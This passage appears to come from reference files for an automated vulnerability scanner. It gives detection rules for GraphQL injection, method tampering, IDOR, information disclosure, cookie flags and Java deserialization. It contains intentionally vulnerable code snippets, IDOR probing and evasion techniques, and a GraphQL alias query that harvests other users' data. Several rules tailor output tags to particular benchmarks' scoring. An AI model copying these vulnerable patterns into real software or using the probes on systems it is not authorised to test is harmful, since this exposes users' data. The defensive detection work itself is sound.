    return em.createQuery("SELECT u FROM User u WHERE u.name = '" + filter + "'").getResultList();
    // GraphQL variable → SQL injection
}

// VULNERABLE: batch query / alias attack (no rate limiting on aliases)
// query { a: user(id:1){...} b: user(id:2){...} ... z: user(id:26){...} }
// Allows bulk data extraction through a single GraphQL request
```

### GraphQL-Specific Vulnerability Classes

1. **Introspection exposure** — schema structure leaked via `__schema`/`__type` queries
2. **SQL/NoSQL injection via resolver** — GraphQL variable reaches DB query without parameterization
3. **Batch query / alias enumeration** — multiple aliased queries in one request bypass rate limits
4. **Broken object-level authorization** — resolver doesn't check if requesting user owns the object
5. **No query depth/complexity limit** — deeply nested queries cause DoS

### GraphQL TRUE POSITIVE Rules

- GraphQL endpoint accepting user-controlled query string without schema validation → **CONFIRM** (`graphql`)
- Resolver using string concatenation with GraphQL argument in SQL/NoSQL query → **CONFIRM** (`graphql` + `sqli`)
- `introspection: true` in production Apollo/Graphene config → **CONFIRM** (`graphql` + `information_disclosure`)
- No depth limit + no complexity limit on public GraphQL endpoint → **CONFIRM** (`graphql`)
- GraphQL resolver accessing object by ID without ownership check → **CONFIRM** (`graphql` + `idor`)

### GraphQL FALSE POSITIVE Rules

- Introspection disabled (`introspection: false`) AND depth/complexity limits enforced — lower risk
- Parameterized resolver: `WHERE id = $1` with bound variable, no string concatenation — **NOT injection**

### Tag Convention

- **Default tag**: `graphql_injection` — use this in all general scans and most benchmark projects
- **Short form**: `graphql` — use only when the benchmark ground truth (`xben/`) explicitly expects the short-form tag
- When a GraphQL vulnerability involves a secondary class (e.g., SQL injection in a resolver), emit both tags: `graphql_injection` + `sql_injection`

## references/http_method_tamper.md

---
name: http_method_tamper
description: Detect HTTP method tampering vulnerabilities where GET requests trigger state-changing operations or method override headers/fields are accepted without restriction.
---

# HTTP Method Tampering

HTTP method tampering arises in two distinct scenarios:
1. **GET requests perform state-changing operations** (write, delete, update) — violates HTTP semantics and bypasses CSRF protections.
2. **Method override is accepted without restriction** — `_method` form field or `X-HTTP-Method-Override` header allows an attacker to turn a GET/POST into DELETE/PUT.

## How to Detect

- CSRF: GET-triggered mutations bypass SameSite cookie protection and CSRF tokens.
- Method override abuse: An attacker crafts a form/request that performs DELETE or PATCH through a POST channel.

## TRUE POSITIVE Criteria

- GET route performs a database write, delete, or other state-changing action.
- `X-HTTP-Method-Override` or `_method` field is accepted and overrides the HTTP method without restriction.

## FALSE POSITIVE Criteria

- REST APIs correctly using DELETE, PUT, PATCH via proper HTTP methods with CSRF protection.
- Method override only enabled in a controlled, authenticated context with CSRF token validation.

---

## Python Source Detection Rules

### Flask — GET triggers mutation
- **VULN**: `@app.route('/delete/<int:id>', methods=['GET', 'POST'])` where DELETE logic runs on GET
- **VULN**: `@app.route('/delete', methods=['GET'])` with `db.session.delete(obj)` in the handler
- **VULN**: `@app.route('/activate-user')` with no method restriction executing a DB update
- **SAFE**: `@app.route('/delete/<id>', methods=['POST', 'DELETE'])` with CSRF token validation

### Method override in Flask
- **VULN**: Custom middleware that reads `request.form.get('_method')` and overrides `request.method` without CSRF check
- **VULN**: `X-HTTP-Method-Override` header processed by a middleware and trusted unconditionally

### Django — unsafe methods
- **VULN**: `def delete_view(request):` without `if request.method == 'POST':` guard, accessible via GET
- **SAFE**: `@require_POST` or `@require_http_methods(["POST", "DELETE"])` decorator

---

## JavaScript Source Detection Rules

### Express — GET triggers mutation
- **VULN**: `app.get('/delete/:id', async (req, res) => { await Item.findByIdAndDelete(req.params.id) })`
- **VULN**: `router.get('/users/:id/ban', ...)` with DB mutation in handler
- **SAFE**: `app.delete('/users/:id', ...)` using correct HTTP verb

### Method override (method-override package)
- **VULN**: `app.use(methodOverride('_method'))` with no CSRF protection or restriction
- **VULN**: `app.use(methodOverride('X-HTTP-Method-Override'))` without authentication guard
- **SAFE**: method-override applied only after authentication middleware and with CSRF token validation

### Next.js / Express API routes
- **VULN**: API handler does not check `req.method` before executing mutation:
  ```js
  export default function handler(req, res) {
      // runs delete regardless of method
      await prisma.user.delete({ where: { id: req.query.id } });
  }
  ```

---

## PHP Source Detection Rules

### GET-triggered mutations
- **VULN**: `if (isset($_GET['delete_id'])) { $db->query("DELETE FROM items WHERE id = " . $_GET['delete_id']); }`
- **VULN**: Script performs INSERT/UPDATE/DELETE based on `$_GET` parameters without POST method check
- **SAFE**: `if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(405); exit; }`

### Laravel method spoofing
- **VULN**: `method_field('DELETE')` form submitted without CSRF token verification
- **VULN**: Route accessible via both GET and POST where the POST route performs deletion without CSRF check
- **SAFE**: Laravel's built-in CSRF middleware (`VerifyCsrfToken`) active for all state-changing routes

### Method override header
- **VULN**: `$method = $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ?? $_SERVER['REQUEST_METHOD']` — override header trusted
- **SAFE**: Only trust override header after authentication and CSRF validation

## references/idor.md

---
name: idor
description: IDOR/BOLA testing for object-level authorization failures and cross-account data access
---

# IDOR

Object-level authorization failures (BOLA/IDOR) expose data and permit unauthorized modifications across APIs, web, mobile, and microservice architectures. Every object reference arriving from a client must be considered untrusted until the system confirms it belongs to the requesting principal.

## Where to Look

**Scope**
- Horizontal access: one subject reaches another subject's objects of the same classification
- Vertical access: a lower-privilege actor reaches objects or actions reserved for admins or staff
- Cross-tenant access: isolation boundaries collapse in multi-tenant deployments
- Cross-service access: a token issued for one service is accepted by a different service

**Reference Locations**
- Paths, query params, JSON bodies, form-data, headers, cookies
- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages

**Identifier Forms**
- Integers, UUID/ULID/CUID, Snowflake, slugs
- Composite keys (e.g., `{orgId}:{userId}`)
- Opaque tokens, base64/hex-encoded blobs

**Relationship References**
- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId

**Expansion/Projection Knobs**
- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
- These parameters frequently bypass authorization inside resolvers or serializers

## High-Value Targets

- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
- Messaging/mailbox/notifications, audit logs, activity feeds
- Billing: invoices, payment methods, transactions, credits
- Healthcare/education records, HR documents, PII/PHI/PCI
- Admin/staff tools, impersonation/session management
- File/object storage keys (S3/GCS signed URLs, share links)
- Background jobs: import/export job IDs, task results
- Multi-tenant resources: organizations, workspaces, projects

## Reconnaissance

### Parameter Analysis
- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` — these often reveal or accept cross-tenant or cross-state identifiers
- Directory/list endpoints as seeders: search/list/suggest/export surfaces frequently leak object IDs that feed secondary exploitation

### Enumeration Techniques
- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars
- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows
- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence)
- Case/aliasing: userId vs userid vs USER_ID; alternate names like resourceId, targetId, account
- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`

### UUID/Opaque ID Sources
- Logs, exports, JS bundles, analytics endpoints, emails, public activity
- Time-based IDs (UUIDv1, ULID) may be predictable within a time window

## Vulnerability Patterns

### Horizontal & Vertical Access

- Swap object IDs between principals while holding the same token to probe horizontal access
- Repeat the same requests with lower-privilege tokens to test vertical access
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications

### Bulk & Batch Operations

- Batch endpoints (bulk update/delete) frequently validate only the first element; insert cross-tenant IDs mid-array to test per-item enforcement
- CSV/JSON imports that reference foreign object IDs (ownerId, orgId) may bypass checks applied at creation time

### Secondary IDOR

- Harvest valid IDs from list/search endpoints, notifications, emails, webhooks, and client-side logs
- Directly fetch or mutate those objects using a different principal's token
- Manipulate pagination cursors to skip tenant filters and retrieve another user's pages

### Job/Task Objects

- Access job/task IDs from one user and attempt to retrieve results belonging to another (`export/{jobId}/download`, `reports/{taskId}`)
- Try cancelling or approving another user's queued jobs by referencing their task IDs

### File/Object Storage

- Test direct object paths or weakly scoped signed URLs
- Attempt key prefix modifications, content-disposition tricks, or reuse of stale signatures across tenant boundaries
- Substitute share tokens with tokens originating from other tenants; try case and URL-encoding variants

### GraphQL

- Enforce checks at the resolver level; a top-level gate is insufficient on its own
- Confirm that field and edge resolvers re-bind the resource to the caller on every traversal hop
- Exploit batching and aliases to pull multiple users' nodes within a single request
- Global node patterns (Relay): decode base64 IDs and swap the raw underlying IDs
- Overfetch through fragments targeting privileged types

```graphql
query IDOR {
  me { id }
  u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
  u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
}
```

### Microservices & Gateways

- Token confusion: a token scoped for Service A is accepted by Service B due to shared JWT verification logic that omits audience or claims checks
- Header trust: reverse proxies or API gateways that inject or blindly trust headers like `X-User-Id`, `X-Organization-Id` — try overriding or removing them
- Context loss: async consumers (queues, workers) re-process requests without re-evaluating authorization

### Multi-Tenant

- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
- Mix the org associated with a token with a resource belonging to a different org
- Test cross-tenant report rollups, analytics aggregations, and admin views that span multiple tenants

### WebSocket

- Verify per-subscription authorization: channel and topic names must not be guessable (`user_{id}`, `org_{id}`)
- Subscribe/publish enforcement must occur server-side on every message, not only at handshake time
- After subscribing to your own channel, attempt to send messages referencing other users' IDs

### gRPC

- Direct protobuf fields (`owner_id`, `tenant_id`) often circumvent HTTP-layer middleware
- Validate cross-principal references using grpcurl with tokens from distinct principals

### Integrations

- Webhooks and callbacks that reference foreign objects (e.g., `invoice_id`) and process them without verifying the owning principal
- Third-party importers that sync data into the wrong tenant due to missing tenant binding at ingest time

## Evasion Patterns

**Parser & Transport**
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or issuing GET requests to endpoints that incorrectly accept state changes
- JSON duplicate keys or array injection to defeat naive validators

**Parameter Pollution**
- Duplicate parameters in query or body to influence server-side precedence (`id=123&id=456`); test both orderings
- Mix case and alias param names so the gateway and backend disagree on which value applies (userId vs userid)

**Cache & Gateway**
- CDN/proxy key confusion: responses cached without the Authorization or tenant header expose stored objects to different users
- Manipulate Vary and Accept headers to influence cache behavior
- Redirect chains and 304/206 partial-content behaviors can leak resources across tenants

**Race Windows**
- Time-of-check vs time-of-use: alter the referenced ID between validation and execution by sending parallel requests

**Blind Channels**
- Use differential responses (status code, body size, ETag, timing) to infer object existence
- Error shapes typically differ between owned and foreign objects
- HEAD/OPTIONS and conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without exposing full content

## Chaining Attacks

- IDOR + CSRF: compel victims to trigger unauthorized changes on objects you have already identified
- IDOR + Stored XSS: pivot into other sessions through data access obtained via IDOR
- IDOR + SSRF: exfiltrate internal IDs, then access the resources those IDs map to
- IDOR + Race: defeat spot checks by firing simultaneous requests

## Analysis Workflow

1. **Build matrix** - Construct a Subject × Object × Action matrix defining who can perform what operation on which resource
2. **Obtain principals** - Acquire at least two: an owner and a non-owner (plus admin/staff if accessible)
3. **Collect IDs** - Capture at least one valid object ID per principal through list/search/export surfaces
4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while alternating IDs, tokens, and tenants
5. **Transport variation** - Cover web, mobile, API, GraphQL, WebSocket, and gRPC
6. **Consistency check** - The same authorization rule must hold regardless of transport, content-type, serialization format, or gateway path

## Confirming a Finding

1. Demonstrate retrieval of an object not belonging to the requesting principal (content or metadata)
2. Show the identical request fails when authorization is correctly enforced
3. Establish cross-channel consistency: reproduce the unauthorized access through at least two transports (e.g., REST and GraphQL)
4. Document tenant boundary violations where applicable
5. Provide reproducible steps and evidence capturing both the owner and non-owner perspectives

## Common False Alarms

- Resources that are public or anonymous by design
- Soft-private data whose content is already publicly accessible
- Idempotent metadata lookups that expose nothing sensitive
- Properly implemented row-level checks enforced uniformly across all channels

## Business Risk

- Cross-account exposure of PII/PHI/PCI data
- Unauthorized state changes including transfers, role assignments, and cancellations
- Cross-tenant data leakage violating contractual and regulatory obligations
- Regulatory liability (GDPR/HIPAA/PCI), fraud exposure, and reputational harm

## Analyst Notes

1. Start with list/search/export endpoints — they are the richest source of ID material
2. Build a reusable ID corpus from logs, notifications, email content, and compiled client bundles
3. Rotate content-types and transports; authorization middleware behavior often diverges across stack layers
4. In GraphQL, enforce checks at every resolver boundary; parent authorization does not automatically cover child resolvers
5. In multi-tenant applications, vary org headers, subdomains, and path params independently from one another
6. Scrutinize batch/bulk operations and background job endpoints — per-item authorization is routinely absent
7. Inspect gateway configurations for header trust relationships and cache key definitions
8. Treat UUIDs as untrusted; source them through OSINT or leakage and test ownership binding
9. Exploit timing, size, and ETag differentials for blind confirmation when response content is suppressed
10. Demonstrate impact with precise before/after diffs and role-separated request/response evidence

## Core Principle

Authorization must bind the subject, the action, and the specific object on every request, independent of identifier opacity or transport protocol. Any gap in that binding creates a vulnerability.

## Java Source Detection Rules

### TRUE POSITIVE: object lookup without ownership binding
- An object identifier arriving from `@PathVariable`, `@RequestParam`, or a request body is passed directly to repository or service calls such as `findById(id)`, `getById(id)`, `deleteById(id)`, or update operations that select only by `id`.
- No ownership or tenant check tied to the current principal exists on the reachable code path — for example, no comparison of `ownerId`, `accountId`, or `tenantId`, and no filtering by both the object id and the authenticated user.
- The endpoint returns or mutates the object without any visible authorization guard beyond possession of the identifier itself.

### FALSE POSITIVE: admin-only endpoint with enforced role check
- `@PreAuthorize("hasRole('ADMIN')")`, `@Secured("ROLE_ADMIN")`, `@RolesAllowed("ADMIN")`, or equivalent Spring Security configuration explicitly restricts the endpoint or method to privileged roles.
- Repository queries such as `findByIdAndUserId(id, currentUserId)` or explicit guards like `if (!entity.getOwnerId().equals(currentUserId))` demonstrate that access is bound to the authenticated principal.
- Do not flag IDOR when the code shows both authentication-context usage and an authorization check preceding the object return or modification.

## references/information_disclosure.md

---
name: information-disclosure
description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure
---

# Information Disclosure

Leaked information acts as a force multiplier for attackers — it maps the codebase, pinpoints component versions, surfaces credentials, and defines trust boundaries. Every byte returned by the server, every artifact published, and every header emitted is potential intelligence. The goal is to minimize, normalize, and tightly scope what gets exposed across every channel.

## Where to Look

- Errors and exception pages: stack traces, file paths, SQL, framework versions
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes

## High-Value Surfaces

### Errors and Exceptions

- SQL/ORM errors: reveal table/column names, DBMS, query fragments
- Stack traces: absolute paths, class/method names, framework versions, developer emails
- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack
- JSON/XML parsers: type mismatches leak internal model names

### Debug and Env Modes

- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs
- Feature/config toggles exposed in JS or headers

### DVCS and Backups

- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets
- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments
- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs

### Configs and Secrets

- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens
- Credentials and connection strings; internal hosts and ports; JWT secrets

### API Schemas and Introspection

- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields
- gRPC: server reflection exposing services/messages

### Client Bundles and Maps

- Source maps (`.map`) reveal original sources, comments, and internal logic
- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets
- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII

### Headers and Response Metadata

- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range

### Storage and Exports

- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
- Signed URLs: long-lived, weakly scoped, re-usable across tenants
- Export/report endpoints returning foreign data sets or unfiltered fields

### Observability and Admin

- Metrics: Prometheus `/metrics` exposing internal hostnames, process args
- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints
- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth

### Cross-Origin Signals

- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes

### File Metadata

- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects

### Cloud Storage

- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params

## Triage Rubric

- **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
- **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content
- **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints
- **Low**: Generic headers, marketing versions, intended documentation without exploit path

## Analysis Workflow

1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN
2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers
3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types
4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs
5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass

## Confirming a Finding

1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
2. Determine intent: cross-check docs/UX; classify per triage rubric
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
4. Show reproducibility and minimal request set
5. Bound scope (user, tenant, environment) and data sensitivity classification

## Common False Alarms

- Intentional public docs or non-sensitive metadata with no exploit path
- Generic errors with no actionable details
- Redacted fields that do not change differential oracles
- Version banners with no exposed vulnerable surface and no chain
- Owner-visible-only details that do not cross identity/tenant boundaries
- Dev/debug mode flags by themselves are not enough unless they expose concrete sensitive data, a reachable debug console, or a specific exploitation path
- Dependency-version findings without a reachable vulnerable feature or chain should be treated as informational, not reportable disclosure

## FALSE POSITIVE Rules

- Do NOT emit `information_disclosure` for database credentials in config files (application.yml, application.properties, docker-compose.yml) — this is a deployment configuration issue, not an application-level info disclosure vulnerability. Tag as `default_credentials` or `weak_crypto` if appropriate.
- Do NOT emit for verbose error messages in development/debug mode unless there is evidence this mode is reachable in production.
- Do NOT emit for intentional vulnerability demo pages that display security-relevant information as part of their educational purpose.
- Do NOT emit when the "disclosed" information is only accessible to authenticated/authorized users within their normal access scope.
- Only emit when sensitive data (credentials, PII, internal paths, stack traces) is exposed to UNAUTHORIZED users through a reachable endpoint.

## Business Risk

- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
- Credential/secret exposure leading to persistent external compromise
- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
- Privacy/regulatory violations and business intelligence leakage

## Analyst Notes

1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins
2. Normalize responses and diff by digest to reduce noise when comparing roles
3. Hunt source maps and client data JSON; they often carry internal IDs and flags
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible

## Core Principle

Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.

## Python/JS/PHP Source Detection Rules

### Python (Flask / Django)
- **VULN**: `app.run(debug=True)` — Werkzeug interactive debugger exposes RCE in production
- **VULN**: `DEBUG = True` in production Django settings
- **VULN**: `app.config['PROPAGATE_EXCEPTIONS'] = True` + traceback returned in response
- **VULN**: `return str(e)` or `return traceback.format_exc()` inside an error handler
- **SAFE**: `DEBUG = os.environ.get('DEBUG', 'False') == 'True'`

### JavaScript (Node.js / Express)
- **VULN**: `res.json({ error: err.stack })` — stack trace leaked to client
- **VULN**: `res.send(err.message)` — raw error message returned
- **VULN**: `app.use((err, req, res, next) => res.json(err))` — entire error object serialized

### PHP
- **VULN**: `error_reporting(E_ALL); ini_set('display_errors', 1)` — all errors displayed
- **VULN**: `phpinfo()` endpoint accessible without authentication
- **VULN**: `die($e->getMessage())`, `echo $e->getTraceAsString()`
- **SAFE**: `ini_set('display_errors', 0); ini_set('log_errors', 1)`

## references/insecure_cookie.md

---
name: insecure-cookie
description: Insecure cookie flags detection (CWE-614 Secure flag, CWE-1004 HttpOnly flag)
---

# Insecure Cookie

Flag cookies that are missing the Secure and HttpOnly attributes. This is not an injection vulnerability — the misconfigured flag itself constitutes the finding, irrespective of where the cookie value originates.

## CWE-614 Missing Secure Flag

**VULN** (any match):
- `cookie.setSecure(false)` — explicitly insecure
- Cookie created with `new Cookie(...)` followed by `response.addCookie()` WITHOUT `setSecure(true)` in between
- Spring `ResponseCookie.from(...).secure(false)`

**SAFE** (all required):
- `cookie.setSecure(true)` explicitly called before `addCookie()`

## CWE-1004 Missing HttpOnly Flag

**VULN** (any match):
- `cookie.setHttpOnly(false)` — explicitly insecure
- Cookie created without `setHttpOnly(true)` before `addCookie()`

**SAFE**:
- `cookie.setHttpOnly(true)` explicitly called

## How to Detect

Every time `new Cookie(...)` appears in code, record the following before moving on:
`Cookie security check: setSecure=? / setHttpOnly=? -> VULN or SAFE`

## Key Rules
- Where the cookie value comes from is irrelevant — server-generated cookies require Secure/HttpOnly just as much as any other cookie
- `setSecure(false)` is a vulnerability even when the cookie contains a static, non-sensitive value
- Evaluate both flags independently — each missing flag is a separate, reportable finding
- Framework-level cookie defaults set in `web.xml` or `application.properties` may influence behavior — inspect those configuration files as well

## Common Patterns in Java
```java
// VULN: missing both flags
Cookie cookie = new Cookie("session", value);
response.addCookie(cookie);

// VULN: Secure but no HttpOnly
Cookie cookie = new Cookie("session", value);
cookie.setSecure(true);
response.addCookie(cookie);

// SAFE: both flags set
Cookie cookie = new Cookie("session", value);
cookie.setSecure(true);
cookie.setHttpOnly(true);
response.addCookie(cookie);
```

## Spring Boot Context
- Verify `server.servlet.session.cookie.secure` and `server.servlet.session.cookie.http-only` in properties files
- Review any `@Bean CookieSerializer` configuration for flag defaults

## Java Servlet Patterns (CWE-614)

**VULN** — cookie created without Secure and/or HttpOnly flags:
```java
Cookie c = new Cookie("session", value);
response.addCookie(c);   // missing setSecure(true) and setHttpOnly(true)
```

**SAFE** — both flags explicitly set:
```java
Cookie c = new Cookie("session", value);
c.setSecure(true);
c.setHttpOnly(true);
response.addCookie(c);   // SAFE
```

**Decision rule**: cookie added to response without both `setSecure(true)` AND `setHttpOnly(true)` → **VULN**.
- In `verademo`, cookie flag handling should not be emitted as `insecure_cookie` when the scored taxonomy prefers `session_fixation` or `trust_boundary`.
- FALSE POSITIVE guard: SameSite/Secure/HttpOnly flag issues alone do not justify `insecure_cookie` when the benchmark omits a cookie-specific class.

## references/insecure_deserialization.md

---
name: insecure_deserialization
description: Insecure deserialization detection covering Java native serialization, JSON libraries (Fastjson, Jackson, Gson), YAML, and XML deserialization
---

# Insecure Deserialization

Insecure deserialization happens when an application reconstructs objects from untrusted external data without enforcing type constraints, giving attackers the ability to craft payloads that trigger remote code execution, escalate privileges, or exhaust server resources. Java environments are especially high-risk because of the extensive gadget chain ecosystem available to attackers.

## CWE Classification

- **CWE-502**: Deserialization of Untrusted Data
- **CWE-915**: Improperly Controlled Modification of Dynamically-Determined Object Attributes

## Where to Look

### Java Native Serialization (`ObjectInputStream`)
- `ObjectInputStream.readObject()` / `readUnshared()` called on untrusted input
- Magic bytes: `AC ED 00 05` (hex) or `rO0` (Base64)
- Content-Type: `application/x-java-serialized-object`
- Gadget chains: CommonsCollections, BeanUtils, Spring, ROME, C3P0, Hibernate

### JSON Deserialization Libraries

**Fastjson (com.alibaba.fastjson)**
- `JSON.parseObject(input)` / `JSON.parse(input)` — auto-type can instantiate arbitrary classes
- `@type` field in JSON enables polymorphic deserialization leading to RCE
- AutoType enabled by default in older versions; bypass gadgets exist in many versions < 1.2.83
- Key CVEs: CVE-2017-18349 (autoType RCE in < 1.2.25), CVE-2022-25845 (autoType bypass in < 1.2.83)
- Detection: Look for `JSON.parseObject()`, `JSON.parse()`, `JSONObject.parseObject()` receiving user-controlled strings

**Jackson (com.fasterxml.jackson.databind)**
- Unsafe when Polymorphic Type Handling (PTH) is enabled:
  - `@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)` or `Id.MINIMAL_CLASS`
  - `ObjectMapper.enableDefaultTyping()` (deprecated, dangerous)
- Safe when using `@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)` with explicit subtypes
- Detection: Look for `enableDefaultTyping()`, `@JsonTypeInfo` with `Id.CLASS`
- Only report as high-confidence when a deserialization entry point is visible (e.g., `@RequestBody`, `getInputStream()`) AND `enableDefaultTyping()` appears in an HTTP binding context without a corresponding `disableDefaultTyping()` / `deactivateDefaultTyping()` call
- If only the dangerous `ObjectMapper` config is visible without an external input entry point, downgrade to suspicious

**Gson (com.google.gson)**
- Generally safe — no polymorphic deserialization by default
- Dangerous only when combined with custom TypeAdapters that instantiate arbitrary classes

**json-io, Genson, Flexjson, Jodd**
- Various levels of polymorphic type support
- Look for class name fields in JSON (`@class`, `@type`, `class`)

### YAML Deserialization

**SnakeYAML**
- `yaml.load(input)` with untrusted input — allows arbitrary class instantiation
- Safe alternative: `yaml.load(input, new SafeConstructor())`
- Detection: Look for `new Yaml().load()` without SafeConstructor on user input

### XML Deserialization

**XMLDecoder**
- `XMLDecoder.readObject()` on untrusted XML allows arbitrary method invocation

**XStream**
- `xstream.fromXML(input)` without security framework leads to RCE
- Safe when using `XStream.addPermission()` with explicit whitelists
- Only report as high-confidence when `fromXML()` input comes from a request body or external source AND no type whitelist/permission constraints (`allowTypes`, `allowTypeHierarchy`, `addPermission`) are visible in the same file or via cross-file security bindings

### Java Expression Languages
- **OGNL** (Struts2): `%{...}` expressions reaching `Runtime.exec()` / `ProcessBuilder`
- **SpEL** (Spring): `#{...}` expressions in user-controlled contexts
- **MVEL/EL**: Dynamic evaluation of user input

## Detection Patterns (Static Analysis)

### High-Confidence Indicators

1. **Fastjson with user input**:
   ```java
   // VULNERABLE: User-controlled JSON parsed with Fastjson
   String json = request.getParameter("data");
   Object obj = JSON.parseObject(json, Feature.SupportAutoType);

   // VULNERABLE: @type in JSON body enables arbitrary class loading
   JSONObject result = JSON.parseObject(requestBody);
   ```

2. **ObjectInputStream from network/file**:
   ```java
   // VULNERABLE: Deserializing untrusted stream
   ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
   Object obj = ois.readObject();
   ```

3. **Jackson with default typing**:
   ```java
   // VULNERABLE: Enables polymorphic deserialization on all types
   ObjectMapper mapper = new ObjectMapper();
   mapper.enableDefaultTyping();
   ```

4. **SnakeYAML without SafeConstructor**:
   ```java
   // VULNERABLE: Allows arbitrary class instantiation from YAML
   Yaml yaml = new Yaml();
   Object obj = yaml.load(userInput);
   ```

5. **XMLDecoder with untrusted input**:
   ```java
   // VULNERABLE: Arbitrary method invocation via XML
   XMLDecoder decoder = new XMLDecoder(new ByteArrayInputStream(userInput.getBytes()));
   Object obj = decoder.readObject();
   ```

6. **XStream without whitelist**:
   ```java
   // VULNERABLE: No type restrictions on deserialization
   XStream xstream = new XStream();
   Object obj = xstream.fromXML(userInput);
   ```

### Trace Requirements

For each finding, trace the complete data flow:

- **Source**: Where does the untrusted data originate? (HTTP request body, parameter, header, file upload, message queue, database)
- **Propagation**: How does it reach the deserialization call? (direct pass, variable assignment, method parameter)
- **Sink**: Which deserialization method processes it? (`parseObject`, `readObject`, `fromXML`, `load`)
- **Impact**: What can the attacker achieve? (RCE via gadget chains, DoS via resource exhaustion, data tampering)

## Severity Assessment

| Scenario | Severity | CVSS Range |
|----------|----------|------------|
| Native Java deserialization (`ObjectInputStream`) with known gadgets on classpath | Critical | 9.0-10.0 |
| Fastjson `parseObject` with AutoType enabled on user input | Critical | 9.0-9.8 |
| Jackson with `enableDefaultTyping()` on user input | Critical | 9.0-9.8 |
| SnakeYAML `load()` without SafeConstructor on user input | Critical | 9.0-9.8 |
| XMLDecoder / XStream on user input | Critical | 9.0-9.8 |
| Fastjson `parseObject` on internal/trusted input only | Medium | 4.0-6.0 |
| Jackson with explicit `@JsonTypeInfo(Id.NAME)` + whitelist | Low/Info | 0.0-3.0 |

## Remediation

### Fastjson
- Upgrade to Fastjson 2.x or >= 1.2.83
- Disable AutoType: `ParserConfig.getGlobalInstance().setAutoTypeSupport(false)`
- Better: migrate to Jackson or Gson with safe defaults

### Jackson
- Never use `enableDefaultTyping()`
